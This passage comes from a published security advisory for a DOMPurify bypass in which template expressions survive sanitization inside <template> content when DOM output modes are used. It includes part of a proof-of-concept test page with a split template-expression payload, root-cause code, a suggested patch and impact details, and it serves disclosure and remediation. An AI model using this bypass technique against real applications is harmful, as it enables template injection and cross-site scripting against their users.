e.message;\n setBadge(\u0027poc3\u0027, \u0027ERROR\u0027);\n log(\u0027PoC 3 error: \u0027 + e.message, \u0027warn\u0027);\n }\n}\n\n// \u2500\u2500 Control: string output must block \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runControl() {\n log(\u0027Running control - string output path (should block)...\u0027, \u0027info\u0027);\n\n const dirty =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-split-1\u003e$\u003c/x-split-1\u003e\u0027 +\n \u0027\u003cx-split-2\u003e{confirm(\"this should never fire\")}\u003c/x-split-2\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\n document.getElementById(\u0027input-ctrl\u0027).textContent = dirty;\n\n // Default string output - NOT using RETURN_DOM\n const sanitized = DOMPurify.sanitize(dirty, {\n SAFE_FOR_TEMPLATES: true,\n // RETURN_DOM intentionally omitted - string path is safe\n });\n\n document.getElementById(\u0027output-ctrl\u0027).textContent = sanitized;\n\n const blocked = !sanitized.includes(\u0027${\u0027) \u0026\u0026 !sanitized.includes(\u0027{confirm\u0027);\n if (blocked) {\n setBadge(\u0027ctrl\u0027, \u0027BLOCK\u0027);\n log(\u0027Control: String output correctly stripped the expression. Output: \u0027 + sanitized, \u0027ok\u0027);\n } else {\n setBadge(\u0027ctrl\u0027, \u0027PASS\u0027); // unexpected\n log(\u0027Control: UNEXPECTED - expression survived string output path: \u0027 + sanitized, \u0027fail\u0027);\n }\n}\n\n// \u2500\u2500 Run all \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runAll() {\n document.getElementById(\u0027log\u0027).innerHTML = \u0027\u0027;\n xssConfirmed = false;\n document.getElementById(\u0027xss-banner\u0027).style.display = \u0027none\u0027;\n log(\u0027=== Starting full test run ===\u0027, \u0027info\u0027);\n runPoC1();\n runPoC2();\n runPoC3();\n runControl();\n log(\u0027=== Test run complete ===\u0027, \u0027info\u0027);\n}\n\u003c/script\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n\n---\n\n## Root Cause\n\n`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into `\u003ctemplate\u003e.content`:\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n node.normalize(); // Does NOT normalize inside \u003ctemplate\u003e.content (DOM spec)\n const walker = createNodeIterator.call(\n node.ownerDocument || node,\n node, // NodeIterator does NOT enter \u003ctemplate\u003e.content\n NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |\n NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,\n null\n );\n // Scrubs nodes it finds, but never sees \u003ctemplate\u003e content\n};\n```\n\nThe fix is to extend `_scrubTemplateExpressions` to explicitly recurse into `\u003ctemplate\u003e.content`, mirroring the approach already used by `_sanitizeShadowDOM` (`src/purify.ts:1753`):\n\n```ts\nif (_isDocumentFragment(shadowNode.content)) {\n _sanitizeShadowDOM(shadowNode.content); // already handles recursion\n}\n```\n\n### Suggested Patch Direction\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n node.normalize();\n const walker = createNodeIterator.call( /* existing args */ );\n\n // ... existing scrub loop ...\n\n // NEW: recurse into \u003ctemplate\u003e.content, mirroring _sanitizeShadowDOM\n const templates = (node as Element).querySelectorAll?.(\u0027template\u0027) ?? [];\n arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) =\u003e {\n if (_isDocumentFragment(tmpl.content)) {\n _scrubTemplateExpressions(tmpl.content as unknown as Element);\n }\n });\n};\n```\n\n---\n\n## Impact\n\n**Who is affected:** Applications that use DOMPurify with `SAFE_FOR_TEMPLATES: true` combined with `RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`, whose downstream template engine processes `\u003ctemplate\u003e` element content.\n\n**What an attacker can achieve:** Inject arbitrary template expressions (`${...}`, `{{...}}`, `\u003c%...%\u003e`) into the sanitized DOM output inside `\u003ctemplate\u003e` elements. If the consuming template engine evaluates these expressions, this leads to **template injection**, which in server-side contexts can escalate to **Remote Code Execution** and in client-side contexts to **Cross-Site Scripting**.\n\n### Preconditions for Exploitation\n\n| Precondition | Notes |\n|---|---|\n| `SAFE_FOR_TEMPLATES: true` | Non-default - must be explicitly set |\n| `RETURN_DOM: true` or `IN_PLACE: true` | Non-default - must be explicitly set |\n| Template engine processes `\u003ctemplate\u003e.content` | Application-dependent |\n\n### What Is NOT Affected\n\nThe **string output path (default)** is not affected. The final regex scrub at `src/purify.ts:2067\u20132071` operates on the serialized HTML string, where the injected expression is visible and stripped:\n\n```ts\n// src/purify.ts:2067 - only runs on string output, not DOM output\nif (SAFE_FOR_TEMPLATES) {\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n serializedHTML = stringReplace(serializedHTML, expr, \u0027 \u0027);\n });\n}\n```",
"id": "GHSA-gvmj-g25r-r7wr",
"modified": "2026-06-15T20:02:40Z",
"published": "2026-06-15T20:02:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside \u003ctemplate\u003e content when using DOM output modes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.